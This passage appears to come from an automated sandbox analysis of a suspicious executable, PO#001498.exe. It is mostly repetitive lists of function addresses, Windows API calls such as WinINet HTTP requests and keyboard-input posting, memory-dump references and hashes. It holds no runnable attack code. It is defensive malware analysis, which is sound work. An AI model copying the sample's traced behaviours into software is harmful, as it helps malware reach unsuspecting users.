                                                                                                                                                                                • CreatePopupMenu.USER32 ref: 0045F3C5
                                                                                                                                                                                • GetMenuItemCount.USER32(?), ref: 0045F42F
                                                                                                                                                                                • InsertMenuItemW.USER32(?,?,00000001,?), ref: 0045F45B
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                                                                                                                                • String ID: 0$2
                                                                                                                                                                                • API String ID: 3311875123-3793063076
                                                                                                                                                                                • Opcode ID: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                                                                                                                • Instruction ID: 6c7ab59355789d00cbd42ef361c1bd9312a1bc9220e92816940967e3bd29aecc
                                                                                                                                                                                • Opcode Fuzzy Hash: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                                                                                                                • Instruction Fuzzy Hash: E451CF702043409FD710CF69D888B6BBBE4AFA5319F104A3EFD9586292D378994DCB67
                                                                                                                                                                                Function 0043717F Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 46windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000,004A8E80,00000100,00000100,?,C:\Users\user\Desktop\PO#001498.exe), ref: 0043719E
                                                                                                                                                                                • LoadStringW.USER32(00000000), ref: 004371A7
                                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 004371BD
                                                                                                                                                                                • LoadStringW.USER32(00000000), ref: 004371C0
                                                                                                                                                                                • _printf.LIBCMT ref: 004371EC
                                                                                                                                                                                • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00437208
                                                                                                                                                                                Strings
                                                                                                                                                                                • C:\Users\user\Desktop\PO#001498.exe, xrefs: 00437189
                                                                                                                                                                                • %s (%d) : ==> %s: %s %s, xrefs: 004371E7
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: HandleLoadModuleString$Message_printf
                                                                                                                                                                                • String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\Desktop\PO#001498.exe
                                                                                                                                                                                • API String ID: 220974073-718196941
                                                                                                                                                                                • Opcode ID: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                                                                                                                • Instruction ID: cc9e6972dbc5209964c20f0f7d1f7455a13934f6c555fd98bc0bf92a0502fb90
                                                                                                                                                                                • Opcode Fuzzy Hash: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                                                                                                                • Instruction Fuzzy Hash: F7014FB2A543447AE620EB549D06FFB365CABC4B01F444C1EB794A60C0AAF865548BBA
                                                                                                                                                                                Function 00456168 Relevance: 13.7, APIs: 9, Instructions: 181COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID:
                                                                                                                                                                                • Opcode ID: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                                                                                                                • Instruction ID: 20732dcab93056f759d0b04a6df1a57780e33876730225f1fefd21ccf2a16f59
                                                                                                                                                                                • Opcode Fuzzy Hash: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                                                                                                                • Instruction Fuzzy Hash: 36519070200301ABD320DF29CC85F5BB7E8EB48715F540A1EF995E7292D7B4E949CB29
                                                                                                                                                                                Function 004534EB Relevance: 13.6, APIs: 9, Instructions: 150filestringCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO#001498.exe,?,C:\Users\user\Desktop\PO#001498.exe,004A8E80,C:\Users\user\Desktop\PO#001498.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                                  • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                                • lstrcmpiW.KERNEL32(?,?), ref: 0045355E
                                                                                                                                                                                • MoveFileW.KERNEL32(?,?), ref: 0045358E
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: File$AttributesFullMoveNamePathlstrcmpi
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 978794511-0
                                                                                                                                                                                • Opcode ID: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                                                                                                                • Instruction ID: dcad70f49e32ae1adaf0c812d378eb0bba467e0a617048934f4a65f03e3a0b24
                                                                                                                                                                                • Opcode Fuzzy Hash: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                                                                                                                • Instruction Fuzzy Hash: 665162B25043406AC724EF61D885ADFB3E8AFC8305F44992EB94992151E73DD34DC767
                                                                                                                                                                                Function 004417BC Relevance: 13.6, APIs: 9, Instructions: 142COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID:
                                                                                                                                                                                • Opcode ID: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                                                                                                                                • Instruction ID: b1e2397247e50d0c7000acf5a2db8631a214b417b603bec0598d849dd48054e0
                                                                                                                                                                                • Opcode Fuzzy Hash: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                                                                                                                                • Instruction Fuzzy Hash: E54128332402806BE320A75DB8C4ABBFB98E7A2362F50443FF18196520D76678C5D339
                                                                                                                                                                                Function 00445CF9 Relevance: 13.6, APIs: 9, Instructions: 69sleepkeyboardwindowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0044593E: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 0044595D
                                                                                                                                                                                  • Part of subcall function 0044593E: GetCurrentThreadId.KERNEL32 ref: 00445964
                                                                                                                                                                                  • Part of subcall function 0044593E: AttachThreadInput.USER32(00000000,?,00000001,00478FA7), ref: 0044596B
                                                                                                                                                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D15
                                                                                                                                                                                • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00445D35
                                                                                                                                                                                • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00445D3F
                                                                                                                                                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D45
                                                                                                                                                                                • PostMessageW.USER32(00000000,00000100,00000027,00000000), ref: 00445D66
                                                                                                                                                                                • Sleep.KERNEL32(00000000), ref: 00445D70
                                                                                                                                                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D76
                                                                                                                                                                                • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00445D8B
                                                                                                                                                                                • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000), ref: 00445D8F
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2014098862-0
                                                                                                                                                                                • Opcode ID: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                                                                                                • Instruction ID: b085f3065cf9cd100f04f322da00d4b037e108fc79bf5967fdabce1cd6d2e74b
                                                                                                                                                                                • Opcode Fuzzy Hash: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                                                                                                • Instruction Fuzzy Hash: 7B116971790704B7F620AB958C8AF5A7399EF88B11F20080DF790AB1C1C9F5E4418B7C
                                                                                                                                                                                Function 0045427D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 259libraryloaderCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AddressProc_malloc$_strcat_strlen
                                                                                                                                                                                • String ID: AU3_FreeVar
                                                                                                                                                                                • API String ID: 2184576858-771828931
                                                                                                                                                                                • Opcode ID: 111e65442873bd7cbffe48700b84114c079de58427b558a04ef4a5d95244f0f0
                                                                                                                                                                                • Instruction ID: c940ad03d776ce5ee908f8b881b33357b51647545ffc53e819ca791e1fdac2da
                                                                                                                                                                                • Opcode Fuzzy Hash: 111e65442873bd7cbffe48700b84114c079de58427b558a04ef4a5d95244f0f0
                                                                                                                                                                                • Instruction Fuzzy Hash: EDA18DB5604205DFC300DF59C480A2AB7E5FFC8319F1489AEE9554B362D739ED89CB8A
                                                                                                                                                                                Function 00401D10 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 235COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00401D5A
                                                                                                                                                                                • DestroyWindow.USER32(?), ref: 0042A751
                                                                                                                                                                                • UnregisterHotKey.USER32(?), ref: 0042A778
                                                                                                                                                                                • FreeLibrary.KERNEL32(?), ref: 0042A822
                                                                                                                                                                                • VirtualFree.KERNEL32(?,00000000,00008000), ref: 0042A854
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Free$DestroyLibrarySendStringUnregisterVirtualWindow
                                                                                                                                                                                • String ID: close all
                                                                                                                                                                                • API String ID: 4174999648-3243417748
                                                                                                                                                                                • Opcode ID: ddf39f1eda455a1c63d5a7d3271f56cd3ed42d138f3b783cbb3ca1597947a384
                                                                                                                                                                                • Instruction ID: e23b5dd52123a376b0379481fe8be5d2f02d07e70979f80a1c72d587d5a24a2c
                                                                                                                                                                                • Opcode Fuzzy Hash: ddf39f1eda455a1c63d5a7d3271f56cd3ed42d138f3b783cbb3ca1597947a384
                                                                                                                                                                                • Instruction Fuzzy Hash: FFA17075A102248FCB20EF55CC85B9AB3B8BF44304F5044EEE90967291D779AE85CF9D
                                                                                                                                                                                Function 0044AA1F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171networkCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0044AA5A
                                                                                                                                                                                • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0044AA8D
                                                                                                                                                                                • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0044AAF9
                                                                                                                                                                                • InternetSetOptionW.WININET(00000000,0000001F,?,00000004), ref: 0044AB11
                                                                                                                                                                                • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044AB20
                                                                                                                                                                                • HttpQueryInfoW.WININET(00000000,00000005,?,00000000,00000000), ref: 0044AB61
                                                                                                                                                                                  • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1291720006-3916222277
                                                                                                                                                                                • Opcode ID: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                                                                                                • Instruction ID: 782b6278bf246bef60821ca34847c3ce69a0d92f774604c9678bedd135ce19ea
                                                                                                                                                                                • Opcode Fuzzy Hash: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                                                                                                • Instruction Fuzzy Hash: 9C51E6B12803016BF320EB65CD85FBBB7A8FB89704F00091EF74196181D7B9A548C76A
                                                                                                                                                                                Function 0046BB59 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 168networkCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ErrorLastselect
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 215497628-2761332787
                                                                                                                                                                                • Opcode ID: 81123ba87c51c271d749794d4387e1d0575ba96382d8685f9443cecf8545e782
                                                                                                                                                                                • Instruction ID: a252b81ccbce03d1e7b1b0efababa2c0a0929072778302a7b1202b90a7697d70
                                                                                                                                                                                • Opcode Fuzzy Hash: 81123ba87c51c271d749794d4387e1d0575ba96382d8685f9443cecf8545e782
                                                                                                                                                                                • Instruction Fuzzy Hash: BF51E4726043005BD320EB65DC42F9BB399EB94324F044A2EF558E7281EB79E944C7AA
                                                                                                                                                                                Function 0047D2F8 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __snwprintf__wcsicoll_wcscpy
                                                                                                                                                                                • String ID: , $$0vH$AUTOITCALLVARIABLE%d$CALLARGARRAY
                                                                                                                                                                                • API String ID: 1729044348-3708979750
                                                                                                                                                                                • Opcode ID: 19d8c814bf70bb05cadf871115a188aa6336bc7b5c41e4e48777219efcb9f973
                                                                                                                                                                                • Instruction ID: 823d0c4529048d9f890bbf28e75db1a658c609af9319d28fcdda535ef0d13f31
                                                                                                                                                                                • Opcode Fuzzy Hash: 19d8c814bf70bb05cadf871115a188aa6336bc7b5c41e4e48777219efcb9f973
                                                                                                                                                                                • Instruction Fuzzy Hash: E651A571514300ABD610EF65C882ADFB3A4EFC4348F048D2FF54967291D779E949CBAA
                                                                                                                                                                                Function 0044BBC9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100filestringCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO#001498.exe,?,C:\Users\user\Desktop\PO#001498.exe,004A8E80,C:\Users\user\Desktop\PO#001498.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                                • lstrcmpiW.KERNEL32(?,?), ref: 0044BC04
                                                                                                                                                                                • MoveFileW.KERNEL32(?,?), ref: 0044BC38
                                                                                                                                                                                • _wcscat.LIBCMT ref: 0044BCAA
                                                                                                                                                                                • _wcslen.LIBCMT ref: 0044BCB7
                                                                                                                                                                                • _wcslen.LIBCMT ref: 0044BCCB
                                                                                                                                                                                • SHFileOperationW.SHELL32 ref: 0044BD16
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: File_wcslen$FullMoveNameOperationPath_wcscatlstrcmpi
                                                                                                                                                                                • String ID: \*.*
                                                                                                                                                                                • API String ID: 2326526234-1173974218
                                                                                                                                                                                • Opcode ID: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                                                                                                                • Instruction ID: 9e4979448571685848097db6772507fbfe8bfb8d1337cd0032b1ea927bdad9db
                                                                                                                                                                                • Opcode Fuzzy Hash: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                                                                                                                • Instruction Fuzzy Hash: 4B3183B14083019AD724EF21C5D5ADFB3E4EFC8304F444D6EB98993251EB39E608D7AA
                                                                                                                                                                                Function 004366BE Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00436328: _wcsncpy.LIBCMT ref: 0043633C
                                                                                                                                                                                • _wcslen.LIBCMT ref: 004366DD
                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 00436700
                                                                                                                                                                                • GetLastError.KERNEL32 ref: 0043670F
                                                                                                                                                                                • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00436727
                                                                                                                                                                                • _wcsrchr.LIBCMT ref: 0043674C
                                                                                                                                                                                  • Part of subcall function 004366BE: CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00000000), ref: 0043678F
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CreateDirectory$AttributesErrorFileLast_wcslen_wcsncpy_wcsrchr
                                                                                                                                                                                • String ID: \
                                                                                                                                                                                • API String ID: 321622961-2967466578
                                                                                                                                                                                • Opcode ID: 3d3187412736f1559758a6cd6e40f0a594bd5d43c4c9ea1cccac3023e941b0f8
                                                                                                                                                                                • Instruction ID: 68cadaa88695c7c006562ade17844284f7fc34f8e7e15af3b97584e331f528d6
                                                                                                                                                                                • Opcode Fuzzy Hash: 3d3187412736f1559758a6cd6e40f0a594bd5d43c4c9ea1cccac3023e941b0f8
                                                                                                                                                                                • Instruction Fuzzy Hash: 3C2148765003017ADB20A724EC47AFF33989F95764F90993EFD14D6281E779950882AE
                                                                                                                                                                                Function 0044C80C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 83COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
